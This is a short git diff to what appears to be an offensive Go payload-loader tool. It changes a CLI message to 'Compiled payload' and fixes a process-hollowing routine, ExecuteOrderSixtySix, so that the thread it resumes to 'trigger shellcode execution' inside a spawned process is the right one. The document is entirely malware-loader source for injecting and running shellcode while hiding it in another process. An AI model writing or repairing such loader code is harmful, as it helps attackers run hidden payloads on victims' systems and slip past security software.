diff --git a/cli/parser.go b/cli/parser.go
@@ -203,7 +203,7 @@ func GetParser(opts *Options) *cobra.Command {
tools.MoveFile(MYPH_TMP_WITH_PAYLOAD, opts.OutName)
os.RemoveAll(MYPH_TMP_DIR)
- fmt.Printf("[+] Done! Out file is in %s\n", opts.OutName)
+ fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName)
},
}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -90,8 +90,8 @@ func ExecuteOrderSixtySix(shellcode []byte) {
processName := "%s"
process := createProcess(processName)
pHandle := uintptr(process.Process)
+ tHandle := uintptr(process.Thread)
- processInfo := &syscall.ProcessInformation{}
pointerSize := unsafe.Sizeof(uintptr(0))
basicInfo := &PROCESS_BASIC_INFORMATION{}
unusedTmpValue := 0
@@ -174,7 +174,7 @@ func ExecuteOrderSixtySix(shellcode []byte) {
}
/* trigger shellcode execution */
- r, _, err = resumeThread.Call(uintptr(processInfo.Thread)); if r == 0 {
+ r, _, err = resumeThread.Call(tHandle); if r == 0 {
panic(err)
}
}
| |